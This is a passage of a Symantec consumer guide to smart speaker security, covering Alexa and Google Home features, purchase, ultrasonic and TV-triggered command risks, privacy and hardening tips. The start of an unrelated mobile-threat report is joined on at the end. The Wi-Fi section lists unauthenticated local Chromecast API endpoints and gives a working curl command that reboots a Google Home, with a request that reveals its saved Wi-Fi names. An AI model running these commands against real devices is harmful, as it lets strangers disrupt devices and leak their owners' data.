want to use the voice assistant again you will have to physical-
ly unmute the device, which somewhat defeats the purpose of voice activation. Studies indicate that the voice interface could
become popular among elderly people who might not want to
walk to the device all the time.
The main usefulness of smart
speakers is that the voice-activated assistant can access all the intelligence in the backendWhat are voice assistants
and smart speakers?Back to Table of ContentsPage 7
01A guide to the security
of voice-activated smart speakers
Most users use these devices to switch on music, ask questions
about the weather or the traffic, set alarms and reminders,
or walk through a cooking recipe in hands-free mode. Smart
speakers can also be used to connect to other smart home devices, allowing them to interact with the smart TV, the
lights, the thermostat, or even the smart door locks. A popular
option is the If This Then That (IFTTT) service, which allows different smart systems to interact. For example, using this, a
user could define that items on their reminder list are auto -
matically synced to the To Do list on their smartphone, or that
the surround system is switched on when the TV is turned on.
Both Google Home and Amazon Echo smart speakers have
announced that they will allow users to create “shortcuts” to condense multiple commands into a single keyword. These
shortcuts are called routines and will help to automate complex
processes.
Actions, skills, and Easter eggs
The capabilities of voice activated assistants can also be extended by additional add-on services: for Amazon Alexa
they are called skills and, in October 2017, there were more
than 25,000 different skills available. These skills allow the voice-activated assistant to do things like order a pizza, call a
taxi, access specific news portals, or interact with other smart
home devices in specific ways. With so many skills, there is already a fight for popular invocation keywords. An Alexa
user can trigger a skill by saying keywords like “open”, “ask”,
“launch”, “tell”, “play” or “start”, followed by the name of the app. For example, saying “Alexa, play 20 questions” will start a
guessing game. This will automatically enable the skill for the
given profile and list it in the smartphone app. Of course, there is the slight chance that some people may not realize they are
triggering an app as the invocation word could be a common
word. The Google Assistant has similar capabilities called actions, with a few hundred different ones currently available.
Anyone can create a free skill and publish it on the Amazon
list. Skills are web services that will receive the transcription of the spoken command from the Amazon backend through an
HTTPS request. The service then sends back the correspond-
ing answer, which is sent to the device where it gets translated into speech. Hence, the backend service has control over what
information is revealed to the app developer.
If a provider of a skill wants to access the user’s To Do or
shopping list, then a special permission has to be granted in
the skills section of the Alexa app on the smartphone. Once a customer grants permissions, the skill will have access to the
user’s Alexa lists until permissions are explicitly revoked. At
any time, the user can change the allowed access for that skill in Manage Settings on the skill’s page in the Alexa app.The capabilities of voice activated
assistants can also be extended by additional add-on services: for Amazon Alexa they are called skills and, in October 2017, there were more than 25,000 different skills available.
Alexa skills permission dialog
The purpose of this report is not to examine how useful voice
assistants are, it is to determine how secure they are, but if
you are interested in examining their usefulness, there have
been various tests on how good and useful the answers of voice
assistants really are. What can be said for sure is that all of
them are improving rapidly. Voice assistants are also getting
better at learning the context of a question: if you ask for a steak restaurant nearby and then ask if they are open, it will
know that you mean that specific restaurant.
As well as add-ons and shortcuts, most voice assistants have
so-called Easter egg phrases [see panel]. This means that if you
ask them a specific question or say a specific phrase they will answer with a funny response. They have no real purpose and are just for amusement. For example, when you tell Alexa to What are voice assistants
and smart speakers?Back to Table of ContentsPage 8
01A guide to the security
of voice-activated smart speakers
“beam me up” it will play the beam sound from Star Trek. Try
out some of the examples in the box above to see what your voice assistant says back.
Amazon Echo Dot
The Alexa voice assistant powers the Amazon Echo Dot. The Dot is part of a range of Echo speakers offered by Amazon, all
of which are powered by Alexa. As well as the Dot, this range
includes: Echo, Echo Tap, Echo Plus, Echo Look, Echo Show, and Echo Spot. These devices range from small ones with just
a tiny speaker to larger ones with a camera and display. The
newly announced Echo Plus has a new design, and comes with features such as a ZigBee hub for smart devices like lightbulbs,
while the Echo Spot, which looks like a smart alarm clock,
has its own display. Another new device is the Echo Buttons, which allows users to interact with the Amazon Echo through
Bluetooth, during trivia games, for example. The Echo range
was first launched at the end of 2014, and it has seen signifi-cant growth in that time.
The Dot that we tested has a small built-in speaker that can be
connected to a higher-end speaker through Bluetooth or with
a cable, if required. The device wakes up when you say “Alexa”, although you can configure it such that the wake-up word is
“Amazon”, “computer”, or “Echo” instead.
The settings for the device can be configured through a smart -
phone app or through the Alexa.com website. This is also
where you can listen to all previous recordings and delete them
if you want. However, deleting all recordings may degrade the learning factor for your specific voice pattern and mean you 20 Alexa Easter eggs to try
|Alexa, self-destruct.
|Alexa, what is the Prime Directive?
|Alexa, use the Force.
|Alexa, open the pod bay doors.
|Alexa, what does the fox say?
|Alexa, sing “Happy Birthday.”
|Alexa, execute Order 66.
|Alexa, who shot first?
|Alexa, what is a day without sunshine?
|Alexa, what is the Third Law?
|Alexa, is Santa Claus real?
|Alexa, rap for me.
|Alexa, tell me a random fact.
|Alexa, what comes with great power?
|Alexa, it’s a trap!
|Alexa, where is Chuck Norris?
|Alexa, are you Skynet?
|Alexa, beam me up.
|Alexa, never gonna give you up.
|Alexa, when is the end of the world?20 Google Assistant Easter eggs to try
|OK Google, meow like a cat.
|OK Google, clean my room.
|OK Google, tell me about Alexa.
|OK Google, what did my cat say?
|OK Google, aren’t you a little short for a
Stormtrooper?
|OK Google, is the cake a lie?
|OK Google, surprise me.
|OK Google, do you speak Morse code?
|OK Google, where’s Waldo?
|OK Google, is your refrigerator running?
|OK Google, flip a coin.
|OK Google, how do you like your coffee?
|OK Google, spin the wheel.
|OK Google, what is your quest?
|OK Google, crystal ball.
|OK Google, who you gonna call?
|OK Google, show me the money.
|Ok Google, beatbox.
|OK Google, what am I thinking right now?
|OK Google, serenade me.What are voice assistants
and smart speakers?Back to Table of ContentsPage 9
01A guide to the security
of voice-activated smart speakers
have to start again from scratch. The Dot automatically checks
for updates and downloads and installs them.
There is cooperation between Microsoft’s Cortana and Alexa,
allowing each voice assistant to use the power of the other service, for example, by saying “Alexa, open Cortana”, or vice
versa.
The voice purchasing option is enabled on the Alexa assistant
by default, which means that anyone can use the assistant
to order goods if the linked account is a Prime account with
one-click ordering enabled. An order can be issued by saying something like “Alexa, order batteries”. Items can also be
added to the shopping list for later by saying “Alexa, add
paper towels to my cart”. However, Alexa will describe the item and tell you the price before it is ordered. Any order has
to be verbally confirmed and a notification is sent by Amazon
allowing for cancellation within 30 minutes. Optionally, a four-digit PIN code can be enabled for security. This is defi-
nitely a recommended option if you want to use the purchasing
feature. The Voice ID feature that should be able to distin-guish between different voices was not available at the time of
testing. According to the description, if Alexa recognizes your
voice, it will not ask you for the purchasing PIN code anymore, if one is enabled.
Alexa voice purchasing settings
Amazon Echo devices also offer a feature called drop-in and voice calls in some countries. At the time of writing, it is
available in the U.S., the U.K., Germany, and Austria. This
feature is not on by default; a user needs to enable Alexa Calling and Messaging first and then enable the “drop” function. The
owner of a device can then authorize other people from their address book to call in and use the device as an intercom. When
a remote user drops in, the receiving user at home will hear a
beep and see a green glow, but does not have to do anything
to accept the drop-in call. This might sound a bit scary, espe -
cially in connection with the Echo Show device, which has an
integrated camera and screen. However, a user can disable the
drop-in feature in the settings or limit it to authorized contacts.
The voice purchasing option is enabled
on the Alexa assistant by default, which means that anyone can use the assistant to order goods if the linked account is a Prime account with one-click ordering enabled.
Besides the drop-in feature, Alexa is also capable of making
calls, and sending voice messages or text messages to Echo
devices, and to the Alexa app on smartphones. However, if you
want to enjoy some quiet time, Alexa offers a Do Not Disturb mode. In order to enable it, simply say “do not disturb me”.
It can be disabled again by the user saying “turn off, do not
disturb me”. Amazon also recommends that users periodically update their contacts book so the device can better match who
can be called.
Alexa drop-in settingsWhat are voice assistants
and smart speakers?Back to Table of ContentsPage 10
01A guide to the security
of voice-activated smart speakers
Google Home
In October 2017, Google announced two new smart speaker
models: the Google Home Mini and the Google Home Maxi,
increasing the total number of speaker variants in its range to
three. The voice assistant service used in the backend by the Google Home smart speaker is called Google Assistant. The
trigger keywords used are “OK Google” and “Hey Google”. In
testing we also found that it worked with slightly modified words like “Hey Bobo” or “OK Hodor”.
Google Home app settings
Already there have been some controversies with these new products, with a journalist who was given a Google Home Mini
in advance of its general release discovering that the device
was making recordings even if he hadn’t said the wake-up word or phrase. Google said this was a hardware problem
that has to do with the activation button on the device that
was registering “phantom touches” and activating. Google said it has since patched this flaw. Google Home automatical-
ly checks for updates and downloads and installs them. The
updates are downloaded over cleartext HTTP but the content is cryptographically signed.
In August 2017, Google announced a partnership with
Walmart for its online shopping. This could mean that in the
near future the Google Assistant will be integrated closely
with Google Express shopping, providing the ability to order
various products by voice, similar to how Alexa is used on the Amazon products.
The Google Assistant can also help you find your phone
if you’ve misplaced it. If you say, “OK Google, where is my phone?” it will make the phone ring on full volume. Google also has a “voice match” feature that it claims is capable of distinguishing different voices, which can be associ-
ated with different profiles. This is one of the most important
features as it can prevent other people from gaining access to your personal information. Once it is set up, access to Calendar
and To Do lists is restricted to the profile that created them.
However, it does not totally ignore unrecognized voices as long as they are accessing non-personal functions, although this
may change in the future. Google Assistant allows up to six
different profiles to be linked with their corresponding voice patterns. During setup, Google warns that the distinguishing
does not work in 100 percent of cases and, indeed, a quick test
showed that my brother’s voice was confused as my own.
Google Home settings
Google Home also has a broadcast feature that allows it to send messages to all connected smart speakers in the home.
In addition, Google Home currently offers a calling feature in
the U.S., which at the moment allows users to call any landline or mobile number in the U.S. and Canada for free. There is no
setup required and you can simply say “Hey Google, call mom”,
for example. Through the voice recognition it will know who speaks and will search the contact list for a matching entry.
There is a big push to offer calling functionality on smart
speakers and they might soon rival conventional telephones in the home.A guide to the security
of voice-activated smart speakersA guide to the security of voice-activated smart speakers
What are the risks?
02SectionWhat are the risks?Back to Table of ContentsPage 12
02A guide to the security
of voice-activated smart speakers
What are the risks?
Now that you understand how these devices
work, the real question is: What are the risks they could pose to your cyber security?
Security – Who can interfere with your device?
Get by with a little help from your friends (and family)
Anyone who has access to your device could potentially
interfere with it. If you have friends or family over for dinner,
it is possible that they might interact with your smart speaker to play a prank on you, which would be a fairly harmless way
to exploit their access. For example, they could add an early
alarm for Sunday morning.
Someone with unsupervised physical access to your smart
speaker could also potentially modify the device or its settings.
For example, there is a known attack with older Echo devices that allows anyone to replace the firmware, add their own code
to the device, and turn it into a listening device. Of course, if
you’re concerned your friends may carry out such a hack, you may have bigger things to worry about, but it serves as a good
warning to be careful when buying second-hand IoT devices
that might have been tampered with. Also, if you’re a bit retro and still have a dedicated home phone answering machine,
complete with a speakerphone so you can listen in real time to who is calling, then there is the chance that someone could
leave you a message that triggers your smart speaker. The same applies to people sending you messages or calendar
entries that will be read out loud.
Of course, speech recognition on computers is not something
new. We demonstrated 10 years ago how speech recognition
on Windows Vista could be misused to unwillingly delete files.
As, currently, most smart speakers do not have a screen with a browser, it is not very realistic for an attacker to simply shout,
for example, “open website myBadSite.tld” with the intent
to run an exploit on the site to infect the smart speaker. But newer models like the Amazon Echo Show do have a screen and
a browser. Although the browser is not accessible by default,
with the help of a trick , the user can still open any website
they want. Opening up the Privacy Policy allows you to jump
to Amazon.com and from there you can move to Google.com,
in the end allowing you to search for any website and open it. Hence, if a vulnerability in the mobile browser used by the
smart speaker is discovered, an unattended guest could direct
the browser to a malicious site and compromise the device.
The curious child attack
Probably one of the biggest worries of smart speaker owners is that someone could use the device to make a purchase without
them realizing, and this is indeed a danger.
The attack of the curious child
Unexpected item in the shopping cart? Take care
to configure devices to avoid unwanted purchases, even from your nearest and dearest.
“Alexa, order me
a Mega Bear
please”“MEGA BEAR ONLY $290
GET YOURS NOW!”What are the risks?Back to Table of ContentsPage 13
02A guide to the security
of voice-activated smart speakers
There have been various reports of children ordering toys
through Alexa without the knowledge of their parents. The
voice assistant will ask to confirm the purchase, to prevent
accidental shopping, but if the child really wants it they might do this as well. Unfortunately, in this scenario, an extra
passcode for orders doesn’t help much either, as children
have a good memory and learn quickly, with some children far better at operating gadgets than their parents. So when
they hear you say the password even just once, they might
easily use it as well. You can disable all purchase options in the account, but unfortunately this would also limit you from
using the order feature. Another option, of course, is to talk
to your child, explain how things work, and trust they won’t exploit it, though monitoring for accidental purchase confir -
mation messages is probably still advisable. As mentioned
above, with the newer versions of voice assistants, the device
is capable of differentiating between voices, which can help prevent anyone else from ordering from your device. However,
you have to enable this feature and “train” the voice assistant
and, as mentioned above, it does not yet appear to be complete -
ly foolproof.
Pets, too, could cause you problems: in September 2017, a
parrot in London apparently managed to order gift boxes
through Alexa without its owners noticing. If the bird had
ordered food for itself, I would have been really impressed, but the order was for golden gift boxes. The mischievous man next door attackIf you live in an apartment block with multiple neighbors, it is
possible that some of them may know you have a smart speaker.
A neighbor who wanted to cause mischief could potentially send commands to the smart speaker in ultrasonic frequen-
cies that are too high for the human ear to hear, but which can
be detected by smart speakers. In August 2017, a researcher demonstrated that it is possible to transmit voice commands
that are not audible to the human ear to smart speakers. This is
not surprising as, for example, the Google Home smart speaker uses ultrasonic frequencies to send the PIN code to nearby
devices when guest mode is enabled. A similar attack was
carried out against voice-activated assistants on smartphones in 2015, where electromagnetic waves were picked up by the cable of plugged-in earphones and triggered the commands.
In the ultrasonic attack scenario, the attacker needs an extra
speaker and amplifier and needs to be close to the device. However, an attacker could also simply shout commands
through a closed door when you are not at home to trigger the
speaker, therefore, it is very important that any automated purchase options are switched off or secured.
Unfortunately, there is currently no easy way to prevent anyone
from, for example, setting an alarm on the smart speaker for
2:00 in the morning once they are in range of audibility. It goes
without saying that it is not a smart idea to link your smart door lock to your voice-activated assistant, as this could allow
someone to let themselves into your house by simply shouting
loudly at your smart speaker.“OK Google, set
alarm for 3:00 AM!”
“As you wish”Voice assistants can be commanded
from outside your home, even by others. Attackers can even use ultrasound frequencies to avoid human detection.Tale of the mischievous neighborWhat are the risks?Back to Table of ContentsPage 14
02A guide to the security
of voice-activated smart speakers
Television troubles
Simply watching television or listening to the radio can also
trigger interaction with smart speakers. This has been noticed
by various marketing people too, and they have attempted to use it to their advantage. For example, in April 2017, Burger
King launched a TV advertisement that would trigger any
nearby Google home devices by mentioning in a calm voice, “OK Google, what is the Whopper burger?” This triggered
the smart speaker to read out the Wikipedia page about the
Whopper burger. However, the aforesaid page was then edited multiple times by different parties, leading to mixed results for
the advertising company. Three hours after the ad first aired,
Google changed the processing on the backend system, so that the ad would no longer trigger a response from the smart speaker. It looks like the specific sound clip has been blacklist -
ed inside Google’s voice recognition system and therefore no longer triggers any response.
This highlights the power that the provider of the backend
system has. If there was some self-replicating malware
spreading from one smart speaker to another over voice, then it would be quickly stopped at the central backend system.
Burger King got around the filter fix by slightly modifying the
ad and replacing the original voice with a different person’s, to
get the same effect. The modified ad was also quickly blacklist -
ed by Google and no longer works. Many people were unhappy
with this invasion on their smart home device, but it doesn’t
constitute hacking—it is just using the features provided on
the device. At least the ad didn’t say, “OK Google, turn off the TV”. Google’s own Super Bowl ad in February triggered the
devices in people’s homes as well, although without a proper
command request, nothing happened.
There have also been instances where Google added a promo
snippet suggestion of an upcoming movie that sounded like
an advertisement into its device’s summary-of-the-day report. After multiple users complained about the sneaked-in message,
the promo was removed from the daily summary.
Another example of external influences interfering with smart
speakers was seen in September 2017, when a South Park
episode triggered the Google Home, Alexa, and Siri devices
of the audience. In the TV series, Cartman tries to get smart speakers to say juvenile phrases such as “big hairy balls”, which worked in the TV show, but also triggered devices at home.
A malicious attacker could also attempt to hijack the TV signal
to stream their own content. For example, researchers have found an exploit for DVB in the past that could change the TV
broadcast. The same applies to sound-streaming services. Last
year, multiple Spotify users reported that their account was hijacked and started playing strange unknown music. Although
none of these cases were used to trigger smart speakers, but
instead to generate revenue for certain songs, they could have
been used for other shenanigans as well. Not to mention that
if you still listen to analog radio, there are many devices out there that allow people to broadcast their own content on any
of the popular frequencies. “What?”A case of talking televisions
“Alexa, turn off the TV”Did you know your voice assistant can take commands
from other devices such as the TV or radio?What are the risks?Back to Table of ContentsPage 15
02A guide to the security
of voice-activated smart speakers
Stranger danger
Similarly, strangers could annoy you by embedding sound clips
on websites, similar to the advertisements. If the speakers on
your computer or smartphone are enabled then they might trigger the smart speaker at home. Of course, you will also hear
the command, but it can be annoying to revert the commands.
Typical annoying commands could include:
|Set alarm for 2:00 a.m.
|Set a timer for 1 hour
|Install embarrassing apps (skills/actions)
|Send text to SMS short code
|Call someone, e.g. “Call Home”
|Play with smart home devices by, for example, saying
“Light off” or “TV off”
|Saying “Restart”, which restarts the most recently played
music
|Full volume, to turn up your speaker to full volume
|Buy something, which could trigger the device to make a
purchase
|Repeat, which repeats the last command
|Simon says / Repeat after me, which will cause the device
to repeat whatever is said afterwards
|Enable the “do not disturb” mode, which will ignore
incoming calls and notifications
|Use the “where is my phone?” function to make your
smartphone ring at full volume
Whatever you do, when using voice
assistants or any Internet of Things (IoT) device for that matter, make sure your Wi-Fi at home is well-protected. Use WPA2 encryption and a strong password to protect it.Smart speakers could go loopy
Various people have tried to get smart speakers to go into an
endless loop where users make the devices talk to each other;
one device asks another device something, and the “conver -
sation” goes on forever. For example, if a user owns a Google
Home and an Amazon Echo device, then they could say: “OK
Google repeat after me Alexa Simon says OK Google repeat.”
This sequence of commands will make the Google Home say,
“Alexa Simon says OK Google repeat”, which triggers Alexa
to say “OK Google repeat”, which in turn starts the sequence again by repeating the last command. Similar tricks involve
calendar entries or notes that can be read out by asking, “What
is on my calendar?”
Of course, typical users would not have smart speaker devices
from different brands at home, as most focus on just one
brand. So this scenario, although amusing, is probably unlikely to occur in real life.
Wi-Fi worries
Whatever you do, when using voice assistants or any Internet
of Things (IoT) device for that matter, make sure your Wi-Fi
at home is well-protected. Use WPA2 encryption and a strong password to protect it. Furthermore, ensure that all Wi-Fi
devices are updated regularly as there could be vulnerabilities
found that degrade the security of the Wi-Fi network, such as the recent KRACKs attack . You may also want to consider
setting up a guest network that is separate from the one used by your devices. This is a much safer option than handing out your password to visitors to your house as, as once they are in
the same network as your smart devices, they could potentially
attack all your devices. Even though they might not do it delib -
erately, an infected computer could act as a stepping stone for
attacking other devices in your network.
An attacker in the same network can, for example, use the
Google Chromecast service to change settings on a Google
Home smart speaker. This includes changing the name of the
device, turning the volume up, enabling guest mode, getting the PIN code, and reading out various configuration settings.
An attacker could also remove the device from the network
or perform a remote factory reset, which would definitely be annoying.
Most smart speakers utilize different music steaming services
such as Spotify. These service clients run on the speakers and could contain potential weaknesses that could allow attackers
to execute their own commands. However, so far, we have not
seen any of these services being misused with a remote code execution vulnerability on smart speakers.What are the risks?Back to Table of ContentsPage 16
02A guide to the security
of voice-activated smart speakers
The following API calls can be made to interact with Google Home devices through Chromecast.
Method URI Description
POST /setup/set_eureka_info Change different settings, e.g. device name, family mode
POST /setup/assistant/a11y_mode Change the beep before and after the keyword/hotword
POST /setup/forget_wifi Remove specific Wi-Fi settings the device will go offline
POST /setup/reboot Reboot or factory-reset the device
POST /setup/assistant/alarms/volume Set or mute the alarm volume
GET /ssdp/device-desc.xml Disclose the personal device name
GET/setup/eureka_
info?options=detail¶ms=version,name,build_info,device_info,net,wifi,setup,settings,opt_in,opencast,multizone,audio,detailDisclose various details including device name, proxy settings, Wi-Fi name, PIN code of family mode, and location
GET /setup/assistant/alarms Disclose set alarms and timers
POST /setup/assistant/check_ready_status Play welcome sound again
POST /setup/assistant/notifications Enable the Do Not Disturb mode
POST /setup/assistant/set_night_mode_params Change the night mode setting for LED and volume
POST
GET/setup/bluetooth/discovery
/setup/bluetooth/get_bondedEnable Bluetooth discovery
GET /setup/configured_networks Disclose any saved Wi-Fi network name
POST
GET/setup/scan_wifi/setup/scan_results Disclose nearby Wi-Fi network names
The following simple request reveals the name of all configured
Wi-Fi networks from a Google Home device.
Request: http://192.168.0.XX:8008/setup/configured_networks
Response: [{“ssid”:”NotYourWIFI”,”wpa_auth”:1,”wpa_cipher”:1,”wpa_id”:0},{“ssid”:”MyWifi”,”wpa_
auth”:7,”wpa_cipher”:4,”wpa_id”:1}]
Meanwhile, the following command line will reboot the device:
curl -H ‘Origin:https://www.google.com’ -H ‘User-Agent:com.google.android.apps.chromecast.app/1.24.37.7 (Linux; U; Android 6.0.1; SM-J510FN Build/MMB29M)’ -H ‘Content-Type:application/json’ -H ‘Content-Length:16’ -H ‘Host:192.168.0.XX:8008’ -H ‘Connection:Keep-Alive’ -H ‘Accept-Encoding:gzip’ -X POST ‘http://192.168.0.XX:8008/setup/reboot’ --data-binary ‘{“params”:”now”}’What are the risks?Back to Table of ContentsPage 17
02A guide to the security
of voice-activated smart speakers
The devices may have other vulnerabilities too, for example
it has been demonstrated with the Bluetooth issues collec-
tively known as BlueBorne that it’s possible for an attacker to
take over a smart speaker if they are in range. Fortunately, the BlueBorne vulnerabilities have since been patched by Google
and Amazon.
Privacy
One of the main concerns for many people when it comes to
voice-activated speakers is privacy. This is understandable,
as these smart speaker devices are in your home and always
on, with the capability to be always listening to what you are saying and doing. There have been incidents in the past of smart TVs and smart toys sending back recordings to their
servers when users were unaware they were recording, which
is another reason why smart speaker vendors try to make the process as transparent as possible.
However, voice-activated assistants are meant to work in
such a way that the smart speaker is permanently listening for the keyword to be said, with the processing done on the
device offline. Once the wake-up word like “OK Google” is
detected, the device will start recording and only then send the captured, encrypted audio back to the cloud service of the
vendor for processing. A LED light comes on on the device to
indicate that it is recording. The data is stored on the backend server and associated with your account. This data is also used
to “train” the voice assistant to understand your pronuncia-
tion better in the future.
One has to hope that none of these data centers suffers a
breach in the future. Having said that, all modern smartphones
have the same recording capabilities and risks, and for them we actually already have seen malware on smartphones in
the wild, but people still use voice assistants on smartphones
without giving it a second thought.
Of course, incidents like the one mentioned earlier in this
whitepaper—where a flaw meant the new Google Home Mini
was literally always listening to its owner —can occur, and
are likely to only increase people’s anxiety when it comes to
concerns around smart speakers and privacy. The bug has
been fixed in October through a software update, but it shows that the devices could technically be used to always listen in
and record everything.
For many areas, the user can decide for themselves if they want
to grant the smart speaker access to their private calendar or
emails. For some, it might even be an option to create a new, unrelated account just for the smart speaker, if they are not
using any of the personalized features. All the major device manufacturers do provide the required
privacy policies that explain what is recorded and how it is processed:
Google’s privacy policy:
“Google Home listens in short (a few seconds) snippets for
the hotword. Those snippets are deleted if the hotword is not
detected, and none of that information leaves your device until
the hotword is heard. When Google Home detects that you’ve said ‘OK Google,’ the LEDs on top of the device light up to tell
you that recording is happening, Google Home records what
you say, and sends that recording (including the few-second hotword recording) to Google in order to fulfill your request.
Y ou can delete those recordings through My Activity anytime.”
Amazon Alexa’s privacy policy:
“Y ou control Alexa with your voice. Alexa streams audio to the cloud when you interact with Alexa. Alexa processes and
retains your Alexa Interactions, such as your voice inputs, music playlists, and your Alexa to-do and shopping lists, in
the cloud to provide and improve our services.”
During a murder investigation in Bentonville in November
2016, the police confiscated an Amazon Echo from the suspect’s
house and requested the voice recordings from Amazon. The
police did not specify what data they expected to find in the recordings—given that only recordings made after the keyword
is said are saved, it is unlikely that much relevant information
would be present. To our knowledge, Amazon did not release any of the recordings in this case. But the case does serve to
highlight the privacy issues around voice-activated assistants.
Formal complaints have already been filed with the authorities
to investigate how far always-on listening devices are allowed
to go in regards to privacy. With all the different laws and
various countries, it is unclear at the moment if, for example, you have to inform your visiting friends that you have a smart
speaker at home that might record them. Furthermore, many
liability questions regarding processing errors are still open. For example, who pays if your voice assistant thinks it heard
“heating on” and your electricity bill goes through the roof?
There is also the issue of storing recordings of minors. According
to the Children’s Online Privacy Protection Act (COPPA) in the
U.S., service providers must have the verifiable consent of the
parents when collecting data from children under 13 years old. There has been an ongoing debate as to whether a checkbox
in the app is enough to be considered consent. Because many
attorneys doubt that this is enough, vendors have started to comply with extra verification steps. As an example, Amazon
announced in August 2017 that, in order to enable so-called
kid skills using the Amazon Echo, parents will have to verify a one-time password (OTP) code by text message or authenticate
with their credit card. What are the risks?Back to Table of ContentsPage 18
02A guide to the security
of voice-activated smart speakers
Users of these devices must also
remember that someone who has your Google or Amazon account credentials can listen to your recording history.
Deleting recordings
Users of these devices must also remember that someone who
has your Google or Amazon account credentials can listen to
your recording history. This means it is even more important to protect these accounts from attackers, and strong passwords and
two-factor authentication (2FA) should be used where possible.
All major voice assistants allow you to review the recorded
command history and also let you delete any recordings.
With Amazon Echo, to delete specific recordings:
|Open the Alexa app on your phone
|Go to “Settings”
|Select “History”
|Choose which individual recordings you’d like to delete
To delete entire history:
|Open Amazon.com
|Select “Manage My Content”
|Click on “Alexa”
|Delete entire history
Deleting specific Alexa recording
Google Home users can go to https://myactivity.google.com/
and find a listing of old recordings there, among other data, such as search history etc.
Deleting specific Google Assistant recordingA guide to the security of voice-activated smart speakers
Conclusion
03SectionConclusionBack to Table of ContentsPage 20
03A guide to the security
of voice-activated smart speakers
Conclusion
Voice-activated smart speakers are increasing in popularity.
Voice-activated interfaces are greatly improving and will
become integrated into many everyday objects. It is not just a
replacement for a keyboard, but an actual virtual intelligence that can help in normal, everyday activities.
There are some perils associated with these newfangled smart
speakers. The most prominent scenario is TV advertisements or websites playing sound commands that trigger the smart
speakers. If the user is in the room they will of course hear
the command and can reverse it. Making unnoticed purchases this way is possible but easily avoided as users can and should
configure a passcode for purchases. Until the voice recognition
has become more accurate and can be applied to all commands, we will see more undesired triggering of voice assistants
through TV or radio shows. Given the popularity of Amazon
Alexa, you are not doing your children a favor if you name them Alexa.
The biggest concern is around privacy, as these devices are
always listening and sending encrypted recordings to the cloud backend once an assumed keyword is heard. As recent
issues with Google Home Mini have shown, it is possible for
these devices to go haywire and send a lot more recordings to the backend than intended. As a basic guideline, it should be clear that you should not connect security functions like door locks to the voice-enabled
smart speakers. If you do, a burglar could simply shout “open
the front door” or “disable recordings now”, which would be bad for not only your digital security but also physical security.
The same applies to sensitive information, and these devices
should not be used to remember passwords or credit card data.
So far, we haven’t seen any mass infection of smart speakers
with malware and it is unlikely to happen anytime soon as these
devices are not directly reachable from the internet, and are usually protected against Cross-Site Request Forgery (CSRF)
attacks. Nearly all possible attacks rely on the misuse of official
commands and not on modifying the actual code running on the devices. Since all command interpretation will go through
the backend server, the provider has the capability to filter
out any malicious trigger sequence, as has been demonstrat -
ed by Google after the Burger King advertisement. As always
with software, there is a risk that some of the services, such as
commonly used music streaming services, may have a vulner -
ability and that the device could be compromised through it.
The devices may have other vulnerabilities too, for example it
has been demonstrated with the Bluetooth issues collectively known as BlueBorne that it’s possible for an attacker to take
over a smart speaker if they are within range. Fortunately, the
BlueBorne vulnerabilities have since been patched by Google and Amazon. Therefore, all devices should use the auto-update
function to stay up to date.
Most of the bigger issues can be avoided by proper configura-
tion and deciding how much information should be linked to
the device, but preventing a mischief-maker from setting an
alarm for 2 a.m. on the smart speaker can prove very difficult. A guide to the security of voice-activated smart speakers
Protection
04SectionProtectionBack to Table of ContentsPage 22
04A guide to the security
of voice-activated smart speakers
Protection
After setting up a smart speaker device at home, it is important
to configure it securely. Below you can find a few tips that help
you focus on the security and privacy settings. The configu-
ration is done through the mobile app or the website. If you are worried about the security of your smart devices at home,
then you might consider the Norton Core secure router, which
can help secure your home network, and all the devices on it, from attacks. Configuration tips
|Be selective in what accounts you connect to your voice
assistant. Maybe even create a new account if you do not
need to use the calendar or address book.
|For Google Home you can disable “personal results” from
showing up.
|Erase sensitive recordings from time to time, although
this may degrade the quality of the service (as regards the device “learning” how you speak, etc.).
|If you are not using the voice assistant, mute it.
Unfortunately, this can be inconvenient as most likely it will be switched off when you actually need it.
|Turn off purchasing if not needed or set a purchase
password.
|Protect the service account linked to the device with a
strong password and 2FA where possible.
|Use a WPA2 encrypted Wi-Fi network and not an open
hotspot at home.
|Create a guest Wi-Fi network for guests and unsecure IoT
devices.
|Lock the voice assistant down to your personal voice
pattern, when available.
|Don’t use the voice assistant to remember private
information such as passwords or credit card numbers.
|Pay attention to notification emails, especially ones about
new orders for goods or services.
|Consider enabling a beep sound at the beginning and end
of command recognition.
|Disable unused services, such as music streaming
services.
|Do not turn off automatic update functions on the device.About Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading
cyber security company, helps businesses, governments and
people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks
across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people
and families rely on Symantec’s Norton suite of products for
protection at home and across all of their devices. Symantec operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats.
More Information
Symantec Worldwide: http://www.symantec.com
ISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-reportSymantec Security Center: https://www.symantec.com/security-center
Norton Security Center: https://us.norton.com/security-center
|
Q2 2017 Mobile Threat Intelligence Report
Mobility
and
Finance
Introduction
Follow the money:
Hacking financial institutions
Financial devices exposed
to attack
Recommended behavior while
mobile banking
And the essentials...ContentsQ2 2017 Mobile Threat Intelligence ReportQ2 2017 Mobile Threat Intelligence Report
Introduction
Section
01Introduction Page Q2 2017 Mobile Threat
Intelligence Report01 3
For much of the history of hacking, the
predominant strategy was to deploy a broad attack to as many people as possible, knowing that most will not be fooled, but enough will become victims to make the effort worthwhile. Today, professional hackers are narrowing their focus onto
specific targets with larger potential
payoffs. This means individuals and organizations with access to a lot of money - often, this means financial organizations and their executives, as well as the financial transactions of consumers.The biggest motivation for malicious
hacking is moneyThis report looks into the impact of mobile hacking
on the finance and banking industry. Specifically,
what are the real risks and incidents that take place
on mobile devices within financial organizations and how does that compare to mobile risks in general. Data is also presented for the consumer
side of the equation, evaluating the risks that
people take every day, using mobile devices to make purchases and interact with banks and other financial organizations.
The data for this report come from multiple
sources. Risk and incident data was collected from the Symantec Endpoint Protection Mobile (SEP Mobile), formerly Skycure, database for the second
quarter of 2017 (April 1 through June 30). Data was
also collected from a variety of other public sources, identified in the body of the report.Q2 2017 Mobile Threat Intelligence ReportQ2 2017 Mobile Threat Intelligence Report
Follow the money:
Hacking financial
institutions
Section
02Follow the money:
Hacking financial institutionsPage Q2 2017 Mobile Threat
Intelligence Report02 5
There have been major data breaches of financial
institutions almost every year recently, and while
not all of them are linked to a failure in mobile
security, there is also a current major trend of malicious hackers to shift more focus toward mobile devices. If the most efficient way to access
high-value systems is through highly-placed
individuals in financial organizations, the reasons for employing mobile attacks should be apparent:
•Mobile devices typically have fewer security
measures
•Mobile devices are on and connected 24/7
•Mobile devices often connect to public Wi-Fi
outside of corporate controls
